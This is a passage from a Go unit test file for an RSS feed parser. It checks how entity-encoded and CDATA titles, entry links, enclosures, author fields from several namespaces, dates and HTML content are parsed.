{\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Title != \"Example \\u00a0 Feed\" {\n\t\tt.Errorf(`Incorrect title, got: %q`, feed.Title)\n\t}\n}\n\nfunc TestParseFeedTitleWithUnicodeEntityAndCdata(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\">\n\t\t<channel>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<title><![CDATA[Jenny&#8217;s Newsletter]]></title>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Title != `Jenny’s Newsletter` {\n\t\tt.Errorf(`Incorrect title, got: %q`, feed.Title)\n\t}\n}\n\nfunc TestParseItemTitleWithHTMLEntity(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\">\n\t\t<channel>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<title>Example</title>\n\t\t\t<item>\n\t\t\t\t<title>&lt;/example&gt;</title>\n\t\t\t\t<link>http://www.example.org/entries/1</link>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Title != \"</example>\" {\n\t\tt.Errorf(`Incorrect title, got: %q`, feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseItemTitleWithNumericCharacterReference(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\">\n\t\t<channel>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<title>Example</title>\n\t\t\t<item>\n\t\t\t\t<title>&#931; &#xDF;</title>\n\t\t\t\t<link>http://www.example.org/article.html</link>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Title != \"Σ ß\" {\n\t\tt.Errorf(`Incorrect title, got: %q`, feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseItemTitleWithDoubleEncodedEntities(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\">\n\t\t<channel>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<title>Example</title>\n\t\t\t<item>\n\t\t\t\t<title>&amp;#39;Text&amp;#39;</title>\n\t\t\t\t<link>http://www.example.org/article.html</link>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Title != \"'Text'\" {\n\t\tt.Errorf(`Incorrect title, got: %q`, feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseItemTitleWithWhitespaces(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rss version=\"2.0\">\n\t<channel>\n\t\t<title>Example</title>\n\t\t<link>http://example.org</link>\n\t\t<item>\n\t\t\t<title>\n\t\t\t\tSome Title\n\t\t\t</title>\n\t\t\t<link>http://www.example.org/entries/1</link>\n\t\t</item>\n\t</channel>\n\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Title != \"Some Title\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseItemTitleWithCDATA(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rss version=\"2.0\">\n\t<channel>\n\t\t<title>Example</title>\n\t\t<link>http://example.org</link>\n\t\t<item>\n\t\t\t<title><![CDATA[This is a title]]></title>\n\t\t\t<link>http://www.example.org/entries/1</link>\n\t\t</item>\n\t</channel>\n\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Title != \"This is a title\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseItemTitleWithInnerHTML(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rss version=\"2.0\">\n\t<channel>\n\t\t<title>Example</title>\n\t\t<link>http://example.org</link>\n\t\t<item>\n\t\t\t<title>Test: <b>bold</b></title>\n\t\t\t<link>http://www.example.org/entries/1</link>\n\t\t</item>\n\t</channel>\n\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Title != \"Test: bold\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseEntryWithoutLink(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\">\n\t\t<channel>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<guid isPermaLink=\"false\">1234</guid>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].URL != \"https://example.org/\" {\n\t\tt.Errorf(\"Incorrect entry link, got: %s\", feed.Entries[0].URL)\n\t}\n\n\tif feed.Entries[0].Hash != \"03ac674216f3e15c761ee1a5e255f067953623c8b388b4459e13f978d7c846f4\" {\n\t\tt.Errorf(\"Incorrect entry hash, got: %s\", feed.Entries[0].Hash)\n\t}\n}\n\nfunc TestParseEntryWithoutLinkAndWithoutGUID(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\">\n\t\t<channel>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<title>Item 1</title>\n\t\t\t</item>\n\t\t\t<item>\n\t\t\t\t<title>Item 2</title>\n\t\t\t\t<pubDate>Wed, 02 Oct 2002 08:00:00 GMT</pubDate>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 2 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].Hash != \"c5ddfeffb275254140796b8c080f372d65ebb1b0590e238b191f595d5fcd32ca\" {\n\t\tt.Errorf(\"Incorrect entry hash, got: %s\", feed.Entries[0].Hash)\n\t}\n\n\tif feed.Entries[1].Hash != \"0a937478f9bdbfca2de5cdeeb5ee7b09678a3330fc7cc5b05169a50d4516c9a3\" {\n\t\tt.Errorf(\"Incorrect entry hash, got: %s\", feed.Entries[1].Hash)\n\t}\n}\n\nfunc TestParseEntryWithOnlyGuidPermalink(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\">\n\t\t<channel>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<guid isPermaLink=\"true\">https://example.org/some-article.html</guid>\n\t\t\t</item>\n\t\t\t<item>\n\t\t\t\t<guid>https://example.org/another-article.html</guid>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].URL != \"https://example.org/some-article.html\" {\n\t\tt.Errorf(\"Incorrect entry link, got: %s\", feed.Entries[0].URL)\n\t}\n\n\tif feed.Entries[1].URL != \"https://example.org/another-article.html\" {\n\t\tt.Errorf(\"Incorrect entry link, got: %s\", feed.Entries[1].URL)\n\t}\n}\n\nfunc TestParseEntryWithAtomLink(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:atom=\"http://www.w3.org/2005/Atom\">\n\t\t<channel>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<atom:link href=\"https://example.org/item\" />\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].URL != \"https://example.org/item\" {\n\t\tt.Errorf(\"Incorrect entry link, got: %s\", feed.Entries[0].URL)\n\t}\n}\n\nfunc TestParseEntryWithMultipleAtomLinks(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:atom=\"http://www.w3.org/2005/Atom\">\n\t\t<channel>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<atom:link rel=\"payment\" href=\"https://example.org/a\" />\n\t\t\t\t<atom:link rel=\"alternate\" href=\"https://example.org/b\" />\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].URL != \"https://example.org/b\" {\n\t\tt.Errorf(\"Incorrect entry link, got: %s\", feed.Entries[0].URL)\n\t}\n}\n\nfunc TestParseEntryWithoutLinkAndWithEnclosureURLs(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\">\n\t\t<channel>\n\t\t\t<link>https://example.org/feed</link>\n\t\t\t<item>\n\t\t\t\t<guid isPermaLink=\"false\">guid</guid>\n\t\t\t\t<enclosure url=\" \" length=\"155844084\" type=\"audio/mpeg\" />\n\t\t\t\t<enclosure url=\"https://audio-file\" length=\"155844084\" type=\"audio/mpeg\" />\n\t\t\t\t<enclosure url=\"https://another-audio-file\" length=\"155844084\" type=\"audio/mpeg\" />\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(\"Expected 1 entry, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].URL != \"https://audio-file\" {\n\t\tt.Errorf(\"Incorrect entry link, got: %q\", feed.Entries[0].URL)\n\t}\n}\n\nfunc TestParseFeedURLWithAtomLink(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss xmlns:atom=\"http://www.w3.org/2005/Atom\" version=\"2.0\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<atom:link href=\"https://example.org/rss\" type=\"application/rss+xml\" rel=\"self\"></atom:link>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.FeedURL != \"https://example.org/rss\" {\n\t\tt.Errorf(\"Incorrect feed URL, got: %s\", feed.FeedURL)\n\t}\n\n\tif feed.SiteURL != \"https://example.org/\" {\n\t\tt.Errorf(\"Incorrect site URL, got: %s\", feed.SiteURL)\n\t}\n}\n\nfunc TestParseFeedWithWebmaster(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<webMaster>webmaster@example.com</webMaster>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := \"webmaster@example.com\"\n\tresult := feed.Entries[0].Author\n\tif result != expected {\n\t\tt.Errorf(\"Incorrect entry author, got %q instead of %q\", result, expected)\n\t}\n}\n\nfunc TestParseFeedWithManagingEditor(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<webMaster>webmaster@example.com</webMaster>\n\t\t\t<managingEditor>editor@example.com</managingEditor>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := \"editor@example.com\"\n\tresult := feed.Entries[0].Author\n\tif result != expected {\n\t\tt.Errorf(\"Incorrect entry author, got %q instead of %q\", result, expected)\n\t}\n}\n\nfunc TestParseEntryWithAuthorAndInnerHTML(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss xmlns:atom=\"http://www.w3.org/2005/Atom\" version=\"2.0\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<atom:link href=\"https://example.org/rss\" type=\"application/rss+xml\" rel=\"self\"></atom:link>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t\t<author>by <a itemprop=\"url\" class=\"author\" rel=\"author\" href=\"/author/foobar\">Foo Bar</a></author>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := \"by Foo Bar\"\n\tresult := feed.Entries[0].Author\n\tif result != expected {\n\t\tt.Errorf(\"Incorrect entry author, got %q instead of %q\", result, expected)\n\t}\n}\n\nfunc TestParseEntryWithAuthorAndCDATA(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss xmlns:atom=\"http://www.w3.org/2005/Atom\" version=\"2.0\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<atom:link href=\"https://example.org/rss\" type=\"application/rss+xml\" rel=\"self\"></atom:link>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t\t<author>\n\t\t\t\t\t<![CDATA[by Foo Bar]]>\n\t\t\t\t</author>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\texpected := \"by Foo Bar\"\n\tresult := feed.Entries[0].Author\n\tif result != expected {\n\t\tt.Errorf(\"Incorrect entry author, got %q instead of %q\", result, expected)\n\t}\n}\n\nfunc TestParseEntryWithAtomAuthorEmail(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss xmlns:atom=\"http://www.w3.org/2005/Atom\" version=\"2.0\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<atom:link href=\"https://example.org/rss\" type=\"application/rss+xml\" rel=\"self\"></atom:link>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t\t<atom:author>\n\t\t\t\t\t<email>author@example.org</email>\n\t\t\t\t</atom:author>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := \"author@example.org\"\n\tresult := feed.Entries[0].Author\n\tif result != expected {\n\t\tt.Errorf(\"Incorrect entry author, got %q instead of %q\", result, expected)\n\t}\n}\n\nfunc TestParseEntryWithAtomAuthorName(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss xmlns:atom=\"http://www.w3.org/2005/Atom\" version=\"2.0\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<atom:link href=\"https://example.org/rss\" type=\"application/rss+xml\" rel=\"self\"></atom:link>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t\t<atom:author>\n\t\t\t\t\t<name>Foo Bar</name>\n\t\t\t\t</atom:author>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := \"Foo Bar\"\n\tresult := feed.Entries[0].Author\n\tif result != expected {\n\t\tt.Errorf(\"Incorrect entry author, got: %q instead of %q\", result, expected)\n\t}\n}\n\nfunc TestParseEntryWithDublinCoreAuthor(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t\t<dc:creator>Me (me@example.com)</dc:creator>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := \"Me (me@example.com)\"\n\tresult := feed.Entries[0].Author\n\tif result != expected {\n\t\tt.Errorf(\"Incorrect entry author, got %q instead of %q\", result, expected)\n\t}\n}\n\nfunc TestParseEntryWithItunesAuthor(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:itunes=\"http://www.itunes.com/dtds/podcast-1.0.dtd\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t\t<itunes:author>Someone</itunes:author>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := \"Someone\"\n\tresult := feed.Entries[0].Author\n\tif result != expected {\n\t\tt.Errorf(\"Incorrect entry author, got %q instead of %q\", result, expected)\n\t}\n}\n\nfunc TestParseFeedWithItunesAuthor(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:itunes=\"http://www.itunes.com/dtds/podcast-1.0.dtd\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<itunes:author>Someone</itunes:author>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := \"Someone\"\n\tresult := feed.Entries[0].Author\n\tif result != expected {\n\t\tt.Errorf(\"Incorrect entry author, got %q instead of %q\", result, expected)\n\t}\n}\n\nfunc TestParseFeedWithItunesOwner(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:itunes=\"http://www.itunes.com/dtds/podcast-1.0.dtd\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<itunes:owner>\n\t\t\t\t<itunes:name>John Doe</itunes:name>\n\t\t\t\t<itunes:email>john.doe@example.com</itunes:email>\n\t\t\t</itunes:owner>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := \"John Doe\"\n\tresult := feed.Entries[0].Author\n\tif result != expected {\n\t\tt.Errorf(\"Incorrect entry author, got %q instead of %q\", result, expected)\n\t}\n}\n\nfunc TestParseFeedWithItunesOwnerEmail(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:itunes=\"http://www.itunes.com/dtds/podcast-1.0.dtd\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<itunes:owner>\n\t\t\t\t<itunes:email>john.doe@example.com</itunes:email>\n\t\t\t</itunes:owner>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := \"john.doe@example.com\"\n\tresult := feed.Entries[0].Author\n\tif result != expected {\n\t\tt.Errorf(\"Incorrect entry author, got %q instead of %q\", result, expected)\n\t}\n}\n\nfunc TestParseEntryWithGooglePlayAuthor(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:googleplay=\"http://www.google.com/schemas/play-podcasts/1.0\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t\t<googleplay:author>Someone</googleplay:author>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := \"Someone\"\n\tresult := feed.Entries[0].Author\n\tif result != expected {\n\t\tt.Errorf(\"Incorrect entry author, got %q instead of %q\", result, expected)\n\t}\n}\n\nfunc TestParseFeedWithGooglePlayAuthor(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:googleplay=\"http://www.google.com/schemas/play-podcasts/1.0\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<googleplay:author>Someone</googleplay:author>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := \"Someone\"\n\tresult := feed.Entries[0].Author\n\tif result != expected {\n\t\tt.Errorf(\"Incorrect entry author, got %q instead of %q\", result, expected)\n\t}\n}\n\nfunc TestParseEntryWithDublinCoreDate(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t\t\t<rss version=\"2.0\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\">\n\t\t\t\t<channel>\n\t\t\t\t\t<title>Example</title>\n\t\t\t\t\t<link>http://example.org/</link>\n\t\t\t\t\t<item>\n\t\t\t\t\t\t<title>Item 1</title>\n\t\t\t\t\t\t<link>http://example.org/item1</link>\n\t\t\t\t\t\t<description>Description.</description>\n\t\t\t\t\t\t<guid isPermaLink=\"false\">UUID</guid>\n\t\t\t\t\t\t<dc:date>2002-09-29T23:40:06-05:00</dc:date>\n\t\t\t\t\t</item>\n\t\t\t\t</channel>\n\t\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tlocation, _ := time.LoadLocation(\"EST\")\n\texpectedDate := time.Date(2002, time.September, 29, 23, 40, 06, 0, location)\n\tif !feed.Entries[0].Date.Equal(expectedDate) {\n\t\tt.Errorf(\"Incorrect entry date, got: %v, want: %v\", feed.Entries[0].Date, expectedDate)\n\t}\n}\n\nfunc TestParseEntryWithContentEncoded(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:content=\"http://purl.org/rss/1.0/modules/content/\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>http://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<title>Item 1</title>\n\t\t\t\t<link>http://example.org/item1</link>\n\t\t\t\t<description>Description.</description>\n\t\t\t\t<guid isPermaLink=\"false\">UUID</guid>\n\t\t\t\t<content:encoded><![CDATA[<p><a href=\"http://www.example.org/\">Example</a>.</p>]]></content:encoded>\n\t\t\t</item>\n\t\t</channel>\n\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Content != `<p><a href=\"http://www.example.org/\">Example</a>.</p>` {\n\t\tt.Errorf(\"Incorrect entry content, got: %s\", feed.Entries[0].Content)\n\t}\n}\n\n// https://www.rssboard.org/rss-encoding-examples\nfunc TestParseEntryDescriptionWithEncodedHTMLTags(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:content=\"http://purl.org/rss/1.0/modules/content/\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>http://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<title>Item 1</title>\n\t\t\t\t<link>http://example.org/item1</link>\n\t\t\t\t<description>this is &lt;b&gt;bold&lt;/b&gt;</description>\n\t\t\t</item>\n\t\t</channel>\n\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Content != `this is <b>bold</b>` {\n\t\tt.Errorf(\"Incorrect entry content, got: %q\", feed.Entries[0].Content)\n\t}\n}\n\n// https://www.rssboard.org/rss-encoding-examples\nfunc TestParseEntryWithDescriptionWithHTMLCDATA(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:content=\"http://purl.org/rss/1.0/modules/content/\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>http://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<title>Item 1</title>\n\t\t\t\t<link>http://example.org/item1</link>\n\t\t\t\t<description><![CDATA[this is <b>bold</b>]]></description>\n\t\t\t</item>\n\t\t</channel>\n\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Content != `this is <b>bold</b>` {\n\t\tt.Errorf(\"Incorrect entry content, got: %q\", feed.Entries[0].Content)\n\t}\n}\n\n// https://www.rssboard.org/rss-encoding-examples\nfunc TestParseEntryDescriptionWithEncodingAngleBracketsInText(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:content=\"http://purl.org/rss/1.0/modules/content/\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>http://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<title>Item 1</title>\n\t\t\t\t<link>http://example.org/item1</link>\n\t\t\t\t<description>5 &amp;lt; 8, ticker symbol &amp;lt;BIGCO&amp;gt;</description>\n\t\t\t</item>\n\t\t</channel>\n\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Content != `5 &lt; 8, ticker symbol &lt;BIGCO&gt;` {\n\t\tt.Errorf(\"Incorrect entry content, got: %q\", feed.Entries[0].Content)\n\t}\n}\n\n// https://www.rssboard.org/rss-encoding-examples\nfunc 